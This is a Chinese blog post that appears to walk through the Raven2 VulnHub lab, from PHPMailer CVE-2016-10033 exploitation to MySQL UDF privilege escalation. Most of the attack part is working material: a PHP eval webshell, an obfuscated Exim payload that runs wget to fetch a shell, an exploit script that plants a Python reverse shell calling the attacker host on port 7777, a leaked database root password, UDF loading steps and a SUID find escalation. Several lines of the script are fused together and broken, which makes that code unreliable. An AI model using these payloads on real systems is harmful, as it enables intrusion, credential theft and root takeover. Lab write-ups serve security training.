当前位置: 首页 > news >正文

Mysql UDF提权复现Raven2

Raven2通关过程

主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。

靶机镜像:https://www.vulnhub.com/entry/raven-2,269/

信息收集

拿到靶机ip:192.168.112.129

nmap -sP 192.168.112.0/24

在这里插入图片描述

探测开放端口,nmap用烂了换goby用用,看到开放了22、11、80端口

在这里插入图片描述

尝试访问80端口,一个提供安保服务的站点

在这里插入图片描述

对网站目录进行fuzz

在这里插入图片描述

根据扫描结果了解到是wordpress建站的,在vendor目录下存在目录遍历

在这里插入图片描述

在PATH下发现了flag1

在这里插入图片描述

渗透阶段

因为在信息收集时发现了PHPMailer和WordPass的信息

在WordPress (<= 4.6.0)、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS并且PHPMailer < 5.2.18的情况下,存在(CVE-2016-10033)WordPress命令执行漏洞

当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。

phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

CVE-2016-10033漏洞复现

准备好木马文件shell.php

<?php eval($_POST['tpa']); ?>

开启http服务

python -m http.server 80

在如下页面点击Lost your password抓包

http://raven.local/wordpress/wp-login.php?action=lostpassword

在这里插入图片描述

抓的包如下
在这里插入图片描述

构造payload

target(any -froot@localhost -be ${run{$payload}} null)

其中的$payload原型

/usr/bin/wget --output-document /var/www/html/tpashell.php 192.168.112.128/shell.php

需要对payload进行转换

所有/${substr{0}{1}{$spool_directory}}代替

所有空格${substr{10}{1}{$tod_log}}代替

${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php

最终的payload

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vendor${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php}} null)

payload替换Host,但一直报错400

在这里插入图片描述

改用脚本,经过修改脚本如下

# -*- coding: utf-8 -*-
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")target = 'http://192.168.112.129/contact.php'
backdoor = '/shell.php'payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.112.128\\\',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+]  ExPLoITeD ' + target)

执行后

在这里插入图片描述

点击http://192.168.112.129/contact.php链接,会生成shell.php文件

攻击机设置监听

nc -lvvp 7777

访问http://192.168.112.129/shell.php文件,成功反弹

在这里插入图片描述

当前用户为www-data

在这里插入图片描述

建立交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在wordpress目录下的wp-config.php文件中找到mysql数据库的用户名密码

more wp-config.php

在这里插入图片描述

直接链接数据库

mysql -uroot -pR@v3nSecurity

在这里插入图片描述

顺便脱下库

show databases;

在这里插入图片描述

use wordpress

在这里插入图片描述

show tables;

在这里插入图片描述

select * from wp_users;

在这里插入图片描述

Mysql UDF提权

ps -aux|grep mysql

查看插件所在路径,得到路径/usr/lib/mysql/plugin/

show variables like '%plugin%';

在这里插入图片描述

在exp-db中搜索UDF,找到如下POC
在这里插入图片描述

记住编号1518

searchsploit 1518

在这里插入图片描述

找到1518.c的地址

locate 1518.c

在这里插入图片描述

编译生成so文件

gcc -g -shared -Wl,-soname,udf.so -o udf.so /usr/share/exploitdb/exploits/linux/local/1518.c -lc

-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-Wl选项告诉编译器将后面的参数传递给链接器。

-soname则指定了动态库的soname(简单共享名,Short for shared object name)

soname的关键功能是它提供了兼容性的标准:

当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。

-o 生成的文件
-lc -l 库 c库名

将文件传到靶机,攻击机开启http服务

wget http://192.168.112.128/udf.so

在这里插入图片描述

回到数据库,使用mysql库

use mysql

在这里插入图片描述

创建表tpax

create table tpax(line blob);

将上传的udf.so文件二进制数据插入表中

insert into tpax values(load_file('/var/www/html/udf.so'));

在这里插入图片描述

利用dumpfile函数将文件导出

select * from tpax into dumpfile '/usr/lib/mysql/plugin/udf.so';

在这里插入图片描述

创建自定义函数do_system,类型integer,别名udf.so

create function do_system returns integer soname 'udf.so';

在这里插入图片描述

查看创建的函数

select * from mysql.func;

在这里插入图片描述

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');

在这里插入图片描述

使用find命令

find / -exec "/bin/sh" \;

在这里插入图片描述

成功拿到root,进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

加上之前拿到的flag1拿到所有flag

find / -name flag*

在这里插入图片描述

相关文章:

Mysql UDF提权复现Raven2

Raven2通关过程 主要通过Raven2靶机进行复现Mysql UDF提权&#xff0c;以下为通关过程。 靶机镜像&#xff1a;https://www.vulnhub.com/entry/raven-2,269/ 信息收集 拿到靶机ip&#xff1a;192.168.112.129 nmap -sP 192.168.112.0/24探测开放端口&#xff0c;nmap用烂了…...

枚举类(enum)

定义&#xff1a;在某些情况下&#xff0c;一个类的实例对象是有限且固定的&#xff0c;可将该类称为“枚举类”。枚举类是JDK 1.5 之后提出来的。例如&#xff1a;四季只有春夏秋冬4个季节&#xff0c;性别只有男女2个&#xff0c;故四季类和性别类均可称为“枚举类”。 在自…...

腾讯云架构师亲码“redis深度笔记”,从入门到精通,面面俱到

前言 作为这个时代码代码的秃头人员&#xff0c;对Redis肯定是不陌生的&#xff0c;如果连Redis都没用过&#xff0c;还真不好意思出去面试&#xff0c;指不定被面试官吊打多少次。 毕竟现在互联网公司和一些创业公司都要用到Redis&#xff0c;像亚马逊、谷歌、阿里、腾讯都要…...

萌新应该如何开始学习走向自动化测试高薪岗位?

对于测试人员来说&#xff0c;不管进行功能测试还是自动化测试&#xff0c;还是性能测试&#xff0c;都是需要编写测试用例&#xff0c;所以我们必须先要了解清楚手工测试用例与自动化测试用例的一些特点&#xff0c;才能更好的开展自动化测试工作。1.1手工测试用例和自动化测试…...

-bash: pip: command not found

背景 这个错误的原因就是&#xff0c;我们的服务器上没有安装pip&#xff0c;装上就可以了&#xff0c;下面我们看一下centos中的解决方案 下载 wget https://bootstrap.pypa.io/get-pip.py 下载完成后如下图&#xff1a; 安装 安装的时候首先需要看一下自己的python是什…...

使用HTTP隧道代理,请求超过频率要怎么办?

在网上&#xff0c;经常会看到有人说使用隧道代理经常遇到429错误&#xff08;请求超过频率&#xff09;&#xff0c;我们要如何解决这一问题呢&#xff1f;通常情况&#xff0c;优质的HTTP代理厂商隧道代理服务器采用的是高性能主机构建的动态IP代理服务器&#xff0c;是可以支…...

paddle 49 ODConv的可部署调整

ODConv是一种适用于轻量化模型的conv结构,可以在较少的参数下训练出多参数模型才能达到的精度,在相同的flop下可以稳定的涨2-3%个点。但是在paddle下部署ODConv动态卷积模型时会报出各种异常,导致模型无法转静态图或onnx格式(可能在pytorch下也是无法转换的)。为此研究ODC…...

C++ STL 学习之【string】

✨个人主页&#xff1a; Yohifo &#x1f389;所属专栏&#xff1a; C修行之路 &#x1f38a;每篇一句&#xff1a; 图片来源 The key is to keep company only with people who uplift you, whose presence calls forth your best. 关键是只与那些提升你的人在一起&#xff0c…...

使用开源 MaxKey 与 APISIX 网关保护你的 API

1. Apache APISIX介绍 Apache APISIX 是 Apache 软件基金会下的云原生 API 网关&#xff0c;它兼具动态、实时、高性能等特点&#xff0c;提供了负载均衡、动态上游、灰度发布&#xff08;金丝雀发布&#xff09;、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以…...

Linux之Xshell工具使用

shell简介Xshell是一个远程工具&#xff0c;可以远程连接linux系统 &#xff0c;SSH&#xff0c;远程管理 Xshell来远程访问Linux系统的终端 。shell的英文含义是“壳”&#xff1b;它是相对于内核来说的&#xff0c;因为它是建立在内核的基础上&#xff0c;面向于用户的一种表…...

【数据结构与算法】时间复杂度与空间复杂度

目录 一.前言 二.时间复杂度 1.概念 二.大O的渐进表示法 概念&#xff1a; 总结&#xff1a; 三.常见时间复杂度计算举例 例1 例2 例3 例4 例5.计算冒泡排序的时间复杂度 例6.二分算法的时间复杂度 例7.阶乘递归Fac的时间复杂度 例8.斐波那契递归的时间复杂度 …...

Nginx如何配置Http、Https、WS、WSS的方法步骤

这篇文章主要介绍了Nginx如何配置Http、Https、WS、WSS的方法步骤&#xff0c;文中通过示例代码介绍的非常详细&#xff0c;对大家的学习或者工作具有一定的参考学习价值&#xff0c;需要的朋友们下面随着小编来一起学习学习吧 写在前面 当今互联网领域&#xff0c;Nginx是使…...

【博客621】iptables -J动作总结

iptables -J动作总结 1、iptables常见动作 ACCEPTDROPREJECTLOGSNATDNATMASQUERADEREDIRECT 2、iptables常见动作用法 2-1、ACCEPT&#xff1a; 作用&#xff1a;用于接收匹配的流量&#xff0c;使得流量继续往后面的规则和链路去匹配 2-2、DROP 作用&#xff1a;用于丢弃匹…...

Chrome开发者工具:利用网络面板做性能分析

Chrome 开发者工具&#xff08;简称 DevTools&#xff09;是一组网页制作和调试的工具&#xff0c;内嵌于 Google Chrome 浏览器中。 Chrome 开发者工具有很多重要的面板&#xff0c;比如与性能相关的有网络面板、Performance 面板、内存面板等&#xff0c;与调试页面相关的有…...

SpringCloud系列(十三)[分布式搜索引擎篇] - ElasticSearch 的概念及 Centos 7 下详细安装步骤

打开淘宝, 搜索 狂飙 会出现各种价格有关狂飙的书籍, 当然也有高启强同款的孙子兵法!!! 如下图所示: 那么面对海量的数据, 如何快速且准确的找到我们想要的内容呢? 淘宝界面已经可以按照综合排序 / 销量 / 信用 / 价格等进行筛选, 是如何做到的呢? ElasticSearch 11 Elastic…...

04_Docker 镜像和仓库

04_Docker 镜像和仓库 文章目录04_Docker 镜像和仓库4.1 什么是 Docker 镜像4.2 列出 Docker 镜像4.3 拉取镜像4.4 查找镜像4.5 构建镜像4.5.1 创建 Docker Hub 账号4.5.2 用 Docker 的 commit 命令创建镜像4.5.3 用 Dockerfile 构建镜像4.5.5 基于 Dockerfile 构建新镜像4.5.5…...

postman-enterprise-API

Postman 是一个用于构建和使用 API 的 API 平台。Postman 简化了 API 生命周期的每个步骤并简化了协作&#xff0c;因此您可以更快地创建更好的 API。 API存储库 在一个中央平台上围绕您的所有 API 工件轻松存储、编目和协作。Postman 可以存储和管理 API 规范、文档、工作流配…...

【ESP 保姆级教程】玩转emqx MQTT篇② ——保留消息和遗嘱消息

忘记过去,超越自己 ❤️ 博客主页 单片机菜鸟哥,一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-02-18 ❤️❤️ 本篇更新记录 2023-02-18 ❤️🎉 欢迎关注 🔎点赞 👍收藏 ⭐️留言📝🙏 此博客均由博主单独编写,不存在任何商业团队运营,如发现错误,请…...

开启慢查询日志方法

步骤 开启慢查询日志 SET GLOBAL slow_query_log on;SHOW VARIABLES like slow_query_log;设置时间限制 SET GLOBAL long_query_time 1; -- 单位sSHOW VARIABLES LIKE %long_query_time%;因为long_query_time参数只对新的数据库连接生效&#xff0c;所以还需要重启msql客户端…...

宝塔搭建实战人才求职管理系统admin前端vue源码(二)

大家好啊&#xff0c;我是测评君&#xff0c;欢迎来到web测评。 上一期给大家分享骑士cms后台端在宝塔的搭建部署方式&#xff0c;这套系统是前后端分离的架构&#xff0c;前端是用vue2开发的&#xff0c;还需要在本地打包手动发布上宝塔&#xff0c;所以本期给大家分享&#x…...

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

工业安全零事故的智能守护者:一体化AI智能安防平台

前言&#xff1a; 通过AI视觉技术&#xff0c;为船厂提供全面的安全监控解决方案&#xff0c;涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面&#xff0c;能够实现对应负责人反馈机制&#xff0c;并最终实现数据的统计报表。提升船厂…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解&#xff0c;“超级…...

Java多线程实现之Callable接口深度解析

Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

c#开发AI模型对话

AI模型 前面已经介绍了一般AI模型本地部署&#xff0c;直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型&#xff0c;但是目前国内可能使用不多&#xff0c;至少实践例子很少看见。开发训练模型就不介绍了&am…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...